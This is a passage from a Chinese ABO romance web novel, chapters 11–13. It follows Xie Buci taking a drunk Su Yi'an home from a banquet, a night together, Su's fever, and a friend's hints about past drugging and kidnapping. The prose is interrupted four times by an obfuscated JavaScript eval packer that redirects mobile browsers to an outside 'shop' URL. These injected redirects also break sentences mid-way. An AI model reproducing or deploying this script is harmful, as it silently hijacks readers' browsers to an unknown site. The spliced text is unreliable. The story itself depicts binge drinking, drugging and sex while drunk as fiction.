苏以安除了面对谢不辞的时候,在任何人面前都是装乖示弱的形象,从不与人正面起冲突,也几乎都是用说软话或者沉默的方式解决问题。 蒋泽回得挺快的:[他俩很小的时候认识,高中的时候就没什么接触了,刚才好像是因为乔洛初说了什么吧,我没听清但苏以安急了。] 很小的时候认识? 谢不辞皱着眉回复:[他霸凌过苏以安?] [那倒没有,我查过乔洛初,他在县城读书的时候存在感挺低的,他是那种不得罪人很会玩心眼的,应该做不出这种事。] 可是不踩苏以安的大红线他也不可能当众泼人酒和人起冲突啊。 谢不辞看了眼时间,让蒋泽查查他俩私下有没有什么过节,就拉开车门下车进了办公楼。 给雪团看病的这几天,积压下来的工作挺多的,而且乍一看错漏也不少,谢不辞粗略估计了一下,大概今天晚上应该是回不去了。 工作处理起来并不轻松,尤其是在一眼看不到头的情况下。 而且对于谢不辞松弛惯了的人来讲,这只会引发人为什么还不死的哲学思考,因为毕竟干劲满满这种心态,只存在于小白花女主和没经历过社会毒打的大学生身上。 等把公司上上下下都打点好,又轻轻松松日落西山。 晚宴的时间定在了八点。 谢不辞先是回家看了一眼孩子,然后换上了他妈千挑万选给他找出来的一套藏蓝色西装,还拿发胶做了造型。 都收拾好了把雪团留在了家里雇了十二年看着谢不辞长大的保姆手里,才一家三口一起往晚宴地点走。 到了以后谢不辞先是跟着他爸挨个跟圈子里他不管有没有印象的叔叔都打了招呼,然后自己举着酒杯在宴会厅里转悠。 刚脱离他爸的视线没多久,就听见旁边有人在议论着什么。 谢不辞本来没兴趣偷听,但那几个人就像完全没准备避讳,内容是一点没让谢不辞错过。 “你看钟家那老三,像个酒蒙子一样。” “见人就张总好李总好王总好,然后举着酒杯走一圈,摆摆手就走。” “这种德行的omega,谁看得上啊,还招亲,钟家也不嫌丢人……” 谢不辞有些疑惑的往那几个人的方向看了一眼。 但这几个人他一个都不认识,甚至完全不脸熟。 在注意到谢不辞视线以后,那几个人似乎有些忌惮,压低声音窃窃私语了几句,也没跟他打招呼就偏过头离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108230|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们说的是谁?钟家老三? 钟家就两个儿子哪来老三? 谢不辞私下望了望,想找个熟人寒暄两句,恰好看见人群中往他这个方向看过来的沈伊。 他原想找个清净点的地方,却好巧不巧的,一回头就看见了一抹显眼的雾霾蓝。 苏以安本来没注意到谢不辞,端着酒杯思考在场他的还没跟谁喝过。 看见谢不辞胸前挂着的那总经理的胸牌,苏以安似笑非笑的开口揶揄了两句:“呦,经理了。” “谢经理,我敬你一杯。” 说完苏以安就把手里端着的那杯酒一饮而尽,还顺手从端着托盘经过的服务生手里接过酒瓶重新倒上。 这会看见苏以安,再迟钝谢不辞也听懂刚才议论的那几个人说的是什么了。 他喝完酒也没准备跟谢不辞客套寒暄,端着杯子就要走,但酒精上头走路摇摇晃晃的,还差点跟谢不辞撞上。 谢不辞深吸一口气,压抑许久才努力把脏话都咽回去,显得自己开口没有那么重的戾气:“因为什么喝这么多?” 张总一杯王总一杯,然后看见他还又来一杯。 再加上苏以安还生着病呢,就好像那个受了刺激活够了的。 谢不辞还没等到回答,就见沈伊走到二人面前。 “干嘛?还没敬过你?” “那行,咱俩也走一个。” 苏以安敷衍的拿酒杯跟沈伊手里的杯子碰了一下,然后手里的杯子被谢不辞和沈伊两人同时争抢。 金色的酒液因为杯子的摇晃溢出,溅到两人看起来就价值不菲的西装袖口上。 “不是你之前打听他生什么病的吗,什么病能这么喝我就问你。” “你就看着他喝啊?” 谢不辞听见沈伊的质问下意识就想反驳:“你比我到的还早呢,你没看着他喝他咋喝这么多的?” 苏以安从他俩同时抢酒杯的时候就已经因为怕弄脏衣服提前松了手,现在也懒得听他们因为什么吵,从口袋里摸了支烟出来点上,转头就要走。 但他们这边动静不小,不光引来的围观的人,三方家长注意到以后,也同样凑过来问怎么回事。 谢不辞懒得解释,直接揽过苏以安的肩膀把人拽进怀里:“这是我儿子亲爹,我带人走理所应当,我自罚一杯,各位叔叔多担待。” 话音落下还没等有人反应过来,谢不辞就就近找了个杯刚倒好的酒,一口灌下去以后谁也没理直接把苏以安往外拽。 走出宴会厅,苏以安脑子还没转过弯来,手里就被塞了瓶水。 “为什么要来这种地方?” 谢不辞想问的东西很多,但一时半会也想不到用什么话来开头,他知道苏以安永远也学不会逆来顺受,所以从来没想过他们会在这样的场合重逢。 苏以安没直接回答他,掏出手机给他放了条语音消息:“你也不想你爸死了这么多年了还不得安生吧?” “我帮你解决。” 苏以安没质疑这句话的真假,抬头盯着谢不辞看了好几秒,才面无表情的把那没开封的矿泉水塞回他手里,用只有他们俩能听清的音量说道:“我不需要你可怜。” “而且一边折辱我,一边又要施舍我,你也挺贱的谢不辞。” 11. 第 11 章 这两句话信息量挺大的,让谢不辞一时之间都不知道该从何回忆。 但转念觉得苏以安喝了酒,又本身就对他意见很大,趁现在骂两句也合情合理。 谢不辞叹了口气,重新把苏以安揽进怀中,放软了语气开口:“你家在哪我送你回去。” 苏以安挣不开他,也不想理他。 所幸谢不辞也没有非要得到一个答案,他掐了苏以安手中的烟,连拖带拽的把人带到自己车上,随后驱车往自己买了房子那个高档小区走。 “我不住你对门了,很快就会搬走。” 谢不辞没听出这句话有没有言外之意,立马接话道:“很快搬走那不也是还没搬走吗,今天再凑合一晚上,或者你哪不舒服我们直接去医院也可以。” 苏以安平静的偏过头朝驾驶座的谢不辞看过去。 谢不辞一身剪裁得体的西装显得他尊贵冷淡,立体感很强的五官在灯光的映衬得轮廓线条更加清晰。 这是他第一次认认真真的打量谢不辞。 谢不辞有和谐的家庭,丰厚的家底,优秀的个人能力,不缺朋友和各种类型的玩伴。 但他从小单亲,省吃俭用了很久才凑够高中上学的学费,然后因为他爸生病凑不出医药费辍学,几乎所有认识他们的人都怕他们借钱而急于撇清关系。 他们两个人,本身就云泥之别,不应该产生交集。 苏以安收回视线,平静开口道:“放我下去。” “等到了就放你走。” 谢不辞注意到了苏以安看他的小动作,但也只当是哄醉鬼,苏以安说一句他就接一句。 从晚宴上出来的比较早,马路上的车络绎不绝。 苏以安自己动手解开了安全带,然后在谢不辞没思考出他要做什么的时候拿起手边谢不辞一直存在车上的保温杯,用尽全力砸向旁边的玻璃。 注意到动静以后谢不辞生怕他真的敢跳下去,直接踩了刹车。 但对流与后面都有车,为了防止跟别人撞上方向盘稍微打多了一点,车头就撞到了马路牙子上。 “我草,你要干啥啊?” “哥们你到底有啥想不开的非得跟不想活了似的。” 停了车以后,谢不辞深吸一口气,解开自己这边的安全带,还把车窗往下降了点方便苏以安透口气。 “没有,就是不想跟你待在一块。” “而且我也没病,我以为你会按我随便找个借口避免后续麻烦来理解那张纸条。” 谢不辞不知道该怎么接这两句话,想着不管说什么苏以安第二天起来都不会记得,他干脆就直接闭嘴。 省得哪句话没说对又惹苏以安不高兴。 谢不辞拿了根烟出来,翻打火机的时候想起之前苏以安离开之前抱着衬衫问他能不能别抽烟,于是翻口袋的手停在半空,偏过头看向副驾的人问道:“我现在能抽吗?” 苏以安不说话,他就只得老老实实把烟又放回去。 按照谢不辞跟人拼酒这么多次的经验来看,都到这份上了,怎么说也得有个真心话环节。 他没主动问什么,也不逼着苏以安开口,只把车停在了路边一个没那么碍别人事的地方,等着苏以安主动跟他搭话。 车内安安静静的,静得可以听到彼此的呼吸声。 时间还早,也没那么着急回家。 盯着车窗外不断从他面前经过的车发呆了很久,苏以安才借着酒精上头的劲喃喃自语似的开口:“谢不辞。” “你为什么非要缠着我,你找我干嘛啊。” 当初临近他们高中毕业那一年,出台了关于非婚生子的新政策,没过多久相关律法也逐渐完善。 苏以安记得很清楚。 孩子出世后的六个月内,生育方不得弃养或虐待,人为致孩子死亡的,无论意外与否,皆没收生育方八成财产并处十年有期徒刑。 六个月后alpha一方不尽养育责任,将弃养思想公之于众造成不良影响或有弃养行为的,没收alpha本人全部财产,家人八成财产,并视情节轻重与alpha等级处刑,最高死刑。 所以谢不辞这种的,弃养这件事情要是闹起来,按社会影响力和alpha品阶量刑的话,真的可以又没收财产又本人死刑。 所以,苏以安最开始就只是单纯的想报复。 “我这一年多,不是都没有找过你吗。” “孩子也不是我一个人的,你如果一点都不想要他不关心他,那你为什么要给我打电话。” “你只是对我有心结。” “为什么?我也是另一个当事人,我到底哪里给你造成了困扰你倒是跟我说啊。” 酒喝多了脑子是转不动弯的,所以谢不辞说这几句话的时候特意放慢了语速,给苏以安接收信息和思考的时间。 “因为我知道你不是真的喜欢我,你看不惯我。” 这句话谢不辞听过很多遍。 高中那会他也确实以为自己就是渣,就是新鲜感上头,像小孩面对橱窗里那大人不给买的玩具一样。 “你教唆人绑架我,还造我的谣。” “用尽手段逼我向你低头,大张旗鼓的让所有人都孤立我,要我只能依附于你。” “等一下,什么绑架??” 苏以安斜靠在副驾的椅子上,越说声音越小,到后面谢不辞几乎一个字也听不清。 而谢不辞开口问了以后,苏以安只幽幽的看了他一眼,就什么都不再说。 “回家吧。” 苏以安把旁边开了一点缝隙的车窗关上,把自己身上的外套裹紧了些,还示意谢不辞把他那边的窗户也关了。 谢不辞很清楚能听到这两句是因为苏以安喝了酒,因为平时他对所有人都防备心很重,几乎很少跟人提及有关自己的任何事情。 现在无论谢不辞怎么问,他都不会再开口,等一会把人送回家,他还是极有可能像以前一样,说话句句带刺。 “你能告诉我,为什么不选沈伊吗。” 现在路上没那么多的车,连红灯的时间都变短了。 谢不辞没敢再往快了开,生怕苏以安再有什么出格行为。 “跟沈伊有什么关系?圈里规矩,不玩老实人。” 在国外的时候,苏以安觉得很难还上人情,就没怎么接受沈伊的帮助。 知道对方人很好,然后他主动掐断了所有暧昧的苗头,但沈伊这人死心眼,明里暗里的拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108231|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没什么实质性效果。 所以苏以安才整出之前拿沈伊的钱买孤儿院这一出。 事后也找过朋友在实验上把买笔钱变相的还了回去。 谢不辞没再继续这个话题。 “对不起。” 无论因为什么,谢不辞都觉得他该给苏以安道这个歉。 不管当年苏以安是被谁以什么原因绑架,都一定跟他有关系,虽然他本人不知道,但按当时没有人敢在学校正面跟他起冲突的地位来看,也不存在污蔑的可能性。 没记错的话,那会他爸公司的业绩正好是近十年来的巅峰。 所以想巴结他的人太多,连查都不好查。 一直到车开进小区,都没人再开口。 谢不辞没法确定苏以安在他进宴会厅之前到底喝了多少酒,于是把车停好以后,他本想绕到副驾去扶苏以安一把,但苏以安早就已经进了单元门,没有一点要等他的意思。 这个季节的晚上已经很冷了,风一吹脑子瞬间就清醒了许多。 酒醒得差不多以后,顾及到现在他俩还有邻里关系,在电梯上楼的那一小段时间里,苏以安也难得愿意跟谢不辞维持一下表面和谐。 电梯门打开,两人并肩走进走廊。 “不请我进去坐坐吗,好歹也是我送你回来的。” “你自己上赶着,我还得感恩戴德呗?” 嗯,这就对劲多了。 苏以安跟他说话就应该是现在这样,没一个字是他爱听的,也没一句是不带火药味的。 他俩似乎不太适合煽情,也都不喜欢那样沉重的气氛,好像一见面就掐架,三句话以内其中一个肯定急眼才是他们正常的相处方式。 见苏以安开了门走进去以后就立马要把他关在外面,谢不辞眼疾手快的扒住门缝:“哎哎哎,刚开玩笑的。” “我就进去给你烧点热水喝,我保证完事立马就走。” “谁用你。” 谢不辞扒着门框,挤进来半个身子,大有你不放我进去我也能挤进来的架势。 觉得拼力气自己肯定拼不过,苏以安也懒得跟他在门口耗着,就松了握着门把手的手,转身开了屋里的灯。 谢不辞一进门就看见了摆在阳台上的画架子。 上面有张似乎还没完全完成的油画。 画中的人眼睛被黑布蒙住,头发凌乱,胸前缠着绷带,衣服破破烂烂的挂在身上,各处的皮肤还带着大片大片触目惊心的痕迹。 画布上的背景只有成排的垃圾桶。 似乎是个暴雨夜,人躺在垃圾桶旁边,像个被随意丢弃的破布娃娃,手边放着一束颜色艳丽的红玫瑰。 花瓣被暴雨冲掉了许多,散在垃圾桶旁边的地上。 苏以安从冰箱里又拿出几瓶高度酒,随后开了瓶放在桌子上,注意到身后谢不辞盯着画板看了许久,才不紧不慢的开口道:“好看么,写实的。” 他没看谢不辞是什么反应,自顾自扯下领带回卧室换了身衣服出来。 “自己一个人喝多没意思,我跟两瓶。” 苏以安一开门,就见他刚拿出来放客厅桌子上的酒空了两瓶。 “你他妈有病啊,你喝完了我喝啥?” 12. 第 12 章 “别那么小气,酒喝多了对身体不好,我这是替你分担。” 在苏以安回卧室的那一小段时间里,谢不辞还打量了整个屋子。 屋里挺干净的,面上没什么垃圾,没看见成堆的烟头和花花绿绿的酒瓶倒是挺让谢不辞意外的,毕竟之前苏以安在屋里好几天都没出来过。 他走到桌子前拿起苏以安刚开的酒看了一眼,度数都不低。 大家都是经常混夜场,酒一拿出来就知道对方大概想喝到什么程度。 谢不辞能感觉到苏以安现在心情很差,不然也不至于从晚宴回来还要再喝第二场,不把自己搞到一定断片都不算完的。 “你不是进来烧个热水就走吗,热水壶在厨房,你去吧。” “不着急,又不是没一块喝过,你就当你对面坐的是块木头不就得了吗。” …… 其实仔细算算,他俩还真没喝过同一场酒,因为像同学聚会这种能把他们联系在一起的活动苏以安几乎都不参与。 “把那个荔枝味的给我,还有青提的。” 谢不辞听话的把手边这两瓶带着水果味的白酒都给苏以安递过去,然后一言不发的看着他十几秒钟消灭一瓶。 “就一句话都不说的干喝啊?” “难道我跟你还能有什么好说的吗?” 他说一句苏以安就怼回来一句,谢不辞觉得再这样下去用不了多久他俩就得打起来,也就没再主动搭话。 趁着这个间隙,他又打量了一眼那幅挂在阳台的半成品油画。 他确实不懂艺术,也看不出苏以安想表达什么。 画中人那个状态,说是被家暴后遗弃情有可原,但用苏以安自己说过的被绑架后□□似乎也解释的通。 桌上摆的那十几瓶酒很快就都成了空瓶。 喝到后面他俩就像拼酒一样暗戳戳较劲,就跟非要比谁能抢到最后一瓶一样。 白酒上头很快,喝到最后谢不辞根本没注意到是谁拼赢了,虽然没到看人重影的程度,但也几乎算得上是晕晕乎乎感官都不太灵敏了。 他很清晰的闻到了苏以安身上信息素的味道。 就那个只模糊存在于他印象中的,有些清苦的,带着雪水融化的清新味道的茶香。 酒都喝完了还没人开口的这段时间里,安静到谢不辞甚至可以听清自己逐渐加快的心跳声。 只隔一张桌子的距离算不上远,谢不辞看见苏以安那双水漉漉又带着些茫然的眼睛,忽然意识到,他不太应该跟苏以安这么喝酒。 至少不应该两人一起玩命喝。 脑子里混混沌沌的,主观上没有任何奇怪想法冒出来,但谢不辞人已经鬼使神差的凑到了苏以安面前。 然后他伸手捏住苏以安的下巴,闭上眼睛吻上了他那柔软的唇瓣。 苏以安没回应他,却也没推开他。 呼吸交融在一起,带着果酒的甜腻味道与信息素独特的气息。 在谢不辞以前的思维里,亲吻是种形容不出的表达亲近的方式,所以不管跟谁玩,他都很抗拒接吻这件事。 他不知道是今天喝酒喝太急,还是苏以安对他来讲就真的有种致命的吸引力。 至少在今天以前,谢不辞绝对不相信接吻也是件会上瘾的事情。 他把手指埋进苏以安发丝中,安抚似的揉了揉苏以安的脑袋,然后吻上对方喉结处的凸起,又怜惜似的吻上与印象中位置分毫不差的,锁骨处的小痣。 谢不辞把苏以安打横抱起来带到卧室,动作温柔的把人放到床上。 不管他做什么,苏以安都完全不抗拒。 他掀起苏以安身上那宽松的衣服,想近距离看看之前蒋泽给他拍的视频中的那纹身。 苏以安身材很好,腰上一点赘肉都没有。 纹身图案是条小蛇,缠着朵颜色鲜红形状诡异的花,小蛇一直从大腿蔓延到小腹,侧腰上还有与之匹配的图案。 谢不辞手指一寸一寸顺着图案的走向抚摸过那一小片皮肤,直至停在苏以安小腹的位置。 那里有一条与手掌同长的疤痕,很淡,而且完全被纹身的颜色盖住,肉眼根本看不出来,估计要不是谢不辞知道他生过孩子,也很难通过皮肤触感发现这还有道疤。 “还疼吗……” 这么长的一道疤,谢不辞能想象到雪团刚出生的时候他们过得有多艰难。 苏以安只与他对视了两秒,紧接着伸手抓过谢不辞的领带,把领带一点一点缠在自己手心,在谢不辞没什么防备的时候使力把他整个人都摔到床上。 然后苏以安把谢不辞压在身下,凑到他耳边用没什么威慑力的声音开口:“这次我在上。” 这一刻,谢不辞好像很清晰的听到了脑子里传来的那理智断弦的声音。 …… 第二天阳光很好,谢不辞被刺眼的光线晃醒的时候,已经将近中午了。 手机里一大堆的未接电话和公司消息。 他没细看,起床穿好了衣服以后替苏以安掖好被角又关上了卧室不知道什么时候开了条小缝的窗户才离开。 这次他专门没在床头留钱。 因为觉得他和苏以安早就算不得床伴关系了,他会尽快解开误会,然后把人重新追回来。 谢不辞回了自己家以后先是给他妈打了电话,让他妈把孩子送回他这,随后一边洗漱一边翻消息列表。 蒋泽跟他说查不到乔洛初和苏以安之前有没有过节,因为时间太久了,距离他们上高中那会都已经过去六七年了。 谢不辞放下牙刷,打字回复:[别管他了,查高中那会谁绑架过苏以安。] [还有因为什么绑架这种也顺手查了。] 蒋泽秒回了一个OK的手势,然后才开始八卦:[昨天你把苏以安带走以后他跟你说的?你俩没打起来吧?] 如果不是字面意思的话……那确实是打完了。 昨天谢不辞顺着柔和的月光,看见苏以安有些发红的眼眶和刚落下就被擦掉的泪水时,有种以前完全没体会过的酸涩感在胸腔里蔓延。 他知道苏以安还是爱他的。 只是经历得太多,对他的感情过于复杂,也找不到平衡点才会变成现在这样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108232|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不然也不至于自己悄悄掉眼泪都不选择推开他。 本来想回让蒋泽别瞎打听,但谢不辞转念又想到苏以安说绑架的时候,似乎还提了什么造谣。 于是都已经打了一半的字又被谢删掉,换成了截然不同的内容:[对,苏以安告诉我的,他说是我绑架他又造谣,我觉得这两件事多少跟我有点关系,也一起查了吧,完事请你喝酒。] 结束了这边的交流,谢不辞还翻到了沈伊昨天晚上给他发的消息。 就在他带着苏以安离开了宴会厅以后:[他有点报复性饮酒,我觉得是心理问题,你都把他带走了就别让他喝了,容易出事。] 谢不辞想问点什么,转念又觉得问了沈伊也不见得知道,索性就只出于礼貌象征性回复了一句。 等他把自己收拾干净,谢夫人也恰好送雪团过来。 这次就算是之前的育儿嫂回来上班,谢不辞也不愿意雪团离开自己视线太久,于是就直接安排带两人一块去公司。 工作不算特别忙,雪团也听话。 期间摸鱼的时候谢不辞悄悄问过雪团愿不愿意见苏以安,想找个借口拉进一下他们两个人之间的关系。 但苏以安不过生日,雪团的一岁生日也还差很远,十月底十一月又刚好卡在一个没什么节日的时间点。 谢不辞戳着手里的钢笔寻思了一下午也没找到个好由头。 到公司下班的时间,天就已经完全黑了。 谢不辞因为不会做饭,专门带孩子在外面吃了饭才开车回家。 打开电梯门见走廊里有人的时候,他还下意识紧张了一下。 因为苏以安在他车上就说过,不想住他对门了,马上就搬走。 声控灯是亮着的,谢不辞走出电梯,看见站在苏以安门口的是谁以后下意识脱口而出:“你来这干嘛?” “他不在家啊让你开密码锁进去?” 方明之闻言熄掉手机屏幕,回头看了谢不辞一眼又立马偏过头,开口说话的语气也夹枪带棒的。 “你好意思问?” “你住他对门他发高烧一整天你不知道?早上我还看见他跟我骂你呢,这绝对跟你有关系,我再不来你猜猜他死里面几天你才能发现。” 谢不辞一愣。 但方明之显然没有继续跟他说下去的意思,开了1501的门走进去就要关上,谢不辞又重操旧业似的一手扒住门框:“我有责任,让我进去看一眼。” 不知道方明之这懒得理他是不是跟苏以安学的,但这个时间育儿嫂已经下班了,谢不辞没法把雪团一个人扔在家,就只能带着孩子一起进了苏以安卧室。 卧室里跟他早上离开时没什么两样。 苏以安整个人都缩进被子里,只有两缕头发露在外面。 谢不辞轻手轻脚的掀开被子看了一眼,然后伸手试了试苏以安额头的温度。 确实挺严重的。 雪团在床边喊了苏以安好几声爸爸他都没什么反应,直到孩子缩进苏以安被子里,他才艰难的睁开眼睛看了一眼,随后把孩子圈进怀里,还顺手给孩子多盖了点被子。 13. 第 13 章 方明之端着刚烧好的水和退烧药走进来,正好看见从被子里探出脑袋的雪团。 “站这干嘛?” “不会照顾就出去,孩子留下就行了,等他好点我把雪团给你送回去。” 谢不辞下意识想反驳,但照顾病号这种事情他确实没干过,杵在这也不知道应该干点什么,就是单纯不想走,于是只能默默把话都咽回去。 他挺担心苏以安的。 组织了半天语言,然后磕磕巴巴的开口:“他要真病了一整天,用不用送去医院?” “哦就是……真的需要去医院的话孩子在这你也照顾不过来,我觉得你也许需要一个帮手。” 方明之白了他一眼没接话,然后把苏以安从被子里扒出来,看着他把药吃完。 苏以安起身的这一小幅度动作,就足够带动宽松的睡衣领口下滑,露出胸口一大片皮肤,还是带着成年人一看就知道是什么痕迹的皮肤。 从谢不辞所站位置的这个角度观察,那些红痕刚好够两人都看得清清楚楚。 觉得气氛好像有点不太对劲,谢不辞也没敢说话。 方明之深吸一口气,随后开始阴阳怪气:“谢谢你,不过我觉得,喊个救护车过来也不至于一个帮手都腾不出来呢。” “不早了,该去给雪团冲奶粉了。” 谢不辞看了一眼手机上的时间,问方明之厨房里有没有雪团常喝的那一种奶粉。 得到否定答案以后觉得回他家冲好再送回来也没有多麻烦,谢不辞就没多想,回自己家烧水冲奶粉。 怕雪团晚上没吃饱会哭,他还特意带了点零食过去。 因为面对苏以安多少带点理亏,这会谢不辞连敲门都显得很礼貌。 方明之开门接过奶瓶和零食,紧接着毫不犹豫的把人关在外面。 谢不辞先是愣了两秒,然后掏出手机给方明之缓缓敲过去一个问号。 对方回消息很快,像是一点都不意外他会发消息过来一样:[你都出去了,那还能有让你再进来的道理?] [你要不猜猜我是怎么跟苏以安玩一块去的?] 谢不辞:…… 换做以前他肯定会因为没受过这种冷落气到砸门,但现在挺平静的,甚至更多的是担心苏以安真的会病到他那群狐朋狗友在酒吧里议论的程度。 谢不辞在1501门口随便找了个地方坐,也没管楼道里的声控灯还亮不亮,像尊雕塑一样杵在那发呆。 待了会听见有消息提示音,就从口袋里把手机翻出来看了看。 锁屏上就显示了蒋泽发消息过来的内容:[我觉得绑架苏以安这事你要不别查了。] 谢不辞皱了皱眉,然后回了句为什么过去。 [这事上不得台面,都这么久了,要不算了吧。] 都绑架了,能是什么光彩事啊。 苏以安记恨了他这么久,连喝多了都不愿意跟他在一个车上待着,绝对不是什么简单的事。 毕竟普通人就算关系再不好,也不至于搭个顺风车都要跳车。 他思考几秒,完全没听懂蒋泽的暗示,打字回复道:[这咋能算了呢。] 谢不辞下一句话还没发出去,蒋泽就有新的消息传过来。 [这事比咱们预想的更恶心龌龊,有老板专门捂着不让查,而且我很确定就是跟你有关系。] 跟他有关系,他不太知情,还有老板不让查…… 这几个标签贴在一起怎么就显得这么玄幻呢。 谢不辞没再说什么,切出聊天页面,随后又看见十几分钟以前方明之给他发的聊天记录。 是苏以安骂他的原文。 也不长,一共就三句话: 妈的谢不辞那老渣b,之前还知道给点钱呢,现在连钱都不给了。 大家都是出来玩的成年人,睡就睡了呗,这有什么大不了的。 但是他亲我是不是有点太暧昧了,他有病啊? 谢不辞看见那句之前还知道给点钱真的有点哭笑不得。 他明明是觉得他俩算不得炮..友了才没给。 想把手机收回口袋,但屏幕还没熄掉,1501的门就又重新打开。 “哎我草,你咋跟个鬼似的?” 方明之一手开门一手抱着孩子,看见谢不辞坐在没有灯的走廊里看手机吓得差点就条件反射又把门关上。 “咋了,现在送苏以安去医院吗?” “啊那倒没有。” 雪团被重新塞回谢不辞怀里。 “你俩的儿子,不认识我,不跟我待,我想给你送回去来着。” 谢不辞不知道应该怎么理解这句话的意思,但他觉得八成是苏以安不愿意留下孩子。 “进吧。” “或者你回家先把婴儿车搬过来也行。” 有上一次被关在门外的经验,谢不辞直接从方明之旁边挤进门。 卧室里苏以安还是缩在被子里,只露出了头发和眼睛,能感觉到他睡得并不安稳,谢不辞只站在门口看了一眼,然后回过头望向站在他身后的方明之:“出去唠两句?” “行啊。” 方明之顺手关上卧室门,给谢不辞倒了杯水,坐到沙发上。 “你想唠什么?” 谢不辞也不知道该用什么话来开头,为了不冷场,专门挑了个看起来不那么让人一听就想骂他的问题:“沈伊说他有点报复性喝酒,你知道为什么吗。” “第一次喝酒被人下药了吧?后面发生了什么不太清楚。” 方明之觉得,可能绝大多数的酒蒙子的心态都是差不多的。 比如从就这么点又不至于喝死我,过渡到就算喝得多又怎么了,有本事喝死我。 然后就是那些想戒酒又戒不掉的。 宿醉起来时说谁再喝谁是狗,晚上又张嘴就来狗也不是不能喝点。 并不会显得苏以安特殊。 但是,这问题谁都能问,唯独谢不辞最没资格。 “你应该是有心理准备我说话不好听的。” “谢不辞,你明知道他高傲,你还要不择手段的一遍又一遍的逼着他面对你,然后揭开他最不愿意示人的伤疤。” “你凭什么觉得世界上的人都要围着你转啊?” “你讨厌苏以安的理由说白了不就是他高中那会没顺着你吗。” 人只站在自己的视角,是永远也意识不到自己的行为有多自私自利又过分至极的。 确实是从小到大几乎所有认识的人都把谢不辞当少爷捧着,所以如果没有方明之刚才这一番话,他也不会思考他之前是因为什么跟苏以安变成死对头的。 方明之没说错。 现在回头看看,真的挺幼稚的。 “你到底想跟我说什么。” 如果只是单纯想骂他两句,方明之没必要选择当面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13108233|138214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 因为圈里人都知道他脾气差,随时可能急眼。 “苏以安说,只要你把雪团照顾好,不再专门纠缠他,以前的一切他都可以当做没发生过。” 还没等谢不辞回应这句话,就又有让他一点风声都没听到的新消息砸在他脑袋上。 “他的酒被下药,他被绑架,和他愿意放低底线被包养,是三件事。” “我知道的只有三件,估计他不愿意说的都数不过来。” “应该没一个是跟你没关系的。” 谢不辞接不上话。 因为方明之刚说的这些,他真的完全不知情,甚至一点都没听说过。 而且方明之说了绑架,却没说造谣。 苏以安经历的一定远远不止这些。 “你不用觉得他过得不好。” “我作为旁观者,说句不好听的,一个愿意放低底线的omega,混得再差他也不至于缺钱。” “不缺钱过得再不好,也艰难不到哪去。” 他说得句句是实话,也句句戳心窝子。 谢不辞想不明白到底是什么样的事情,能跟他有关他又什么都不知道,还不让他查。 “跟我有关的没道理我不能查吧?” “你可以随意,但这不是你伤害他的借口。” 可是他的初衷明明不是想让任何人因为他经受苦难。 这句话说完就陷入沉默。 到这份上,谢不辞觉得之前该不该犯的错都已经犯完了,说什么都来不及了,索性再开口就换了个切入点。 “如果我把孩子养到上学,他会把雪团重新要回去吗。” 话说出口之前,谢不辞也不清楚自己想得到什么答案,但在方明之没回答的那一小段时间里,他忽然就想明白了。 苏以安从小单亲,性格原因鲜少有交心的朋友,他爸爸又去世得早。 陷在这样的圈子里,没人知道他有多孤独。 也许这也是他选择把孩子留下的一个理由。 “不会。” 不被期待而出生的孩子,本身就不可能获得爱。 “行,我知道了。” “你要有事你可以先走,我不会对他做什么,等他好了我自己离开。” 查肯定是要接着查的,但在查清楚他们之间到底有什么误会之前,好像也不太适合有接触。 “雪团挺可爱的。” “我的意思是,苏以安不需要你弥补,不然不至于事情已经过去七八年了你还能不知情。” 方明之是了解苏以安的。 传话传得很精准,谢不辞不需要过多思考就能感觉到,刚才那番话里的意思,都是苏以安不愿意主动跟他说的。 “等一下,你是说,他知道我听这些一头雾水?” “知道也不影响你恶劣。” ……嗯,这个反驳不了,谢不辞不恶劣也不会有雪团。 墙上的钟表指针时间很明显。 方明之抬头看了一眼时间,随后起身从抽屉里翻出温度计又走近了卧室。 聊着聊着就到深夜,谢不辞看着怀里不知道什么时候睡着的孩子大脑放空了好久,直到在沙发上坐到整个人都是僵硬的,才犹豫着翻出手机。 